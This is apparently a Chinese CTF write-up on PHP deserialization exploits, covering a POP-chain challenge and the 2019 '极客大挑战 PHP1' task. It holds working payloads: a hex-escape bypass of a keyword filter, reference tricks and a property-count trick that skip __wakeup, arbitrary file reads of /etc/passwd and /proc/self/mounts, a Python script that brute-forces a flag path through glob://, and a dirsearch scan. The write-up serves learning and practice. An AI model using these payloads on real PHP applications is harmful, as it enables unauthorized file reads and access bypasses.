PHP 反序列化实例练习
实例1
<?php
// 题目中的第一个Class
class MyDirectory {
public $name;
// 构造器,新的对象建立时被调用
public function __construct($name) {
$this->name = $name;
}
// 当一个对象被当作字符串使用时触发
public function __toString(){
// 统计当前目录下的文件数量
$num = count(scandir($this->name));
if($num > 0){
return "count $num files";
} else {
// C限制点
return "flag path is /flag_{{uuid}}";
}
}
}
// 题目中的第二个Class
class MyFile {
public $name;
public $user;
public function __construct($name, $user) {
$this->name = $name;
$this->user = $user;
}
public function __toString(){
return file_get_contents($this->name);
}
// B限制点
// 反序列化时调用
public function __wakeup(){
if(stristr($this->name, "flag")!==False)
$this->name = "/etc/hostname";
else
$this->name = "/etc/passwd";
if(isset($_GET['user'])) {
$this->user = $_GET['user'];
}
}
public function __destruct() {
// 会调用__toString
echo $this;
}
}
//题目中的限制
if(isset($_GET['input'])){
$input = $_GET['input'];
// A限制点
if(stristr($input, 'user')!==False){
die('Hacker');
} else {
unserialize($input);
}
}else {
highlight_file(__FILE__);
}
观察源码我们可以很容易的发现最终的目标,就是让 MyDirectory
的对象通过 __toString 来返回flag文件的路径
源码内我们标出了三个限制点:
- A, 对GET输入检查是否包含’users’字符串,我们可以通过修改序列化字符串中的s为S,这样就可以支持利用16进制编码来进行绕过,
s:4:"user"; -> S:4:"use\72";
- B, 我们在序列化的字符串中对于
MyFile->name
会被__wakeup
给替换掉,我们可以利用修改属性来绕过__wakeup
的替换(此方法只适用于PHP5 < 5.6.25, PHP7 < 7.0.10),这里我们使用浅copy来对可控变量$this->user
来进行过滤 - C, 无法直接获取文件名,可以配合
glob://
协议来测信道出 flag 的文件名字
因此我们构造 payload:
<?php
class MyFile {
public $name='/etc/hosts';
public $user='';
}
$a = new MyFile();
// 利用可控参数 $a->user来绕过 $this->name的过滤
// &$a->user表示传一个引用,而不是单纯的值,结果就是如果 $a->user 发生改变,那么 $a->name 也会跟着改变
// 这样就可以防止 $a->name 被替换,同时因为Myfile中会根据 $_GET['user'] 来给 $a->user 赋值,因此可以完成变量控制
$a->name = &$a->user;
$b = serialize($a);
// 绕过 'user' 过滤
$b = str_replace("user","use\\72",$b);
$b = str_replace(";s:4:",";S:4:",$b);
var_dump($b);
// 得到序列化结果:
// O:6:"MyFile":2:{s:4:"name";s:0:"";S:4:"use\72";R:2;}
// 文件任意读 payload:
// input=O:6:"MyFile":2: {s:4:"name";s:0:"";S:4:"us\65r";R:2;}&user=/proc/self/mounts
Payload中出现的 R:2;
表示的变量的类型是引用(显示的引用)
这一步的目的是通过构造POP链来调用敏感函数 file_get_contents
来获取任意文件的内容;
__construct() ( -> unserialize()) -> __wakeup() -> __destruct() (-> echo()) -> __toString() (调用 __destruct() 的时候调用了echo $this, 触发了 __toString())
大家可以单步调试一下,就能更好的理解这边的POP链以及这边用到的对象引用问题
那么我们现在只剩下flag的文件路径不知道了,此时就需要想办法利用 MyDirectory类
来
<?php
class MyDirectory {
public $name='glob:///flag_';
}
class MyFile {
public $name='/etc/hostname';
public $user='';
}
$a = new MyFile();
$a->name = new MyDirectory();
$b = serialize($a);
var_dump($b);
print(urlencode($b))
// O:6:"MyFile":2:{s:4:"name";O:11:"MyDirectory":1:{s:4:"name";s:13:"glob:///flag_";}s:4:"user";s:0:"";}
我们这里利用PHP伪协议, glob://
来匹配查找文件路径,利用测信道攻击,即如果glob匹配成功,则返回的是 /etc/hostname
其中避免包含’root’字段,如果不是,则返回 /etc/passwd
然后逐步拼接flag的字符串,就和我们在sql注入中的盲注是一个道理
import requests
url = 'http://124.16.75.162:31102/'
flag = ''
# 假设flag最多有40个字符这么长
for _ in range(1,40):
# 利用匹配Ascii字符
for i in range(32,128):
if i == 37 or i == 42 or i == 63:
continue
param = r'?input=O:6:"MyFile":2:{s:4:"name";O:11:"MyDirectory":1: {s:4:"name";s:'+str(14+_)+':"glob:///flag_'+flag+chr(i)+'%2a";}S:4:"us\\65r";s :0:"";}'
res = requests.get(url+param)
# 测信道攻击,根据返回的文件内容判断是否匹配上了
if 'root' in res.text:
flag += chr(i)
print(flag)
# 最后得到路径
# flag_fecd0d9b-2852-497d-b829-0c5bf11c5021
[极客大挑战 2019]PHP1
猫猫真不错,但是不能给flag啊
根据文字提示,直接先用dirsearch爆破一下目录看看有没有备份文件
./dirsearch.py -u http://63038eb9-d80a-4dba-ac04-c7cc6f1b1592.node4.buuoj.cn:81/ -e php
接着我们下载该文件
解压缩后就发现了网页的所有备份文件
index.php
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
看到这些魔术方法我们自然就想到要构建 POP链来进行反序列化调用
只要__destruct() 的时候满足 $this->username = ‘admin’, $this->password = 100 即可输出flag,但是 __wakeup() 却会在一开始就修改 $this->username 的值,因此我们要想办法绕过 __wakeup()
在反序列化字符串时,如果一个对象申明的属性个数大于实际个数时,就会自动跳过 __wakeup() 的执行,我们构造payload
<?php
class Name{
private $username='admin';
private $password=100;
}
$p = new Name;
$s = serialize($p);
var_dump($s);
print(urlencode($s));
?>
接着我们修改申明的属性个数
O%3A4%3A%22Name%2 3
%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D
http://63038eb9-d80a-4dba-ac04-c7cc6f1b1592.node4.buuoj.cn:81/?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D
参考: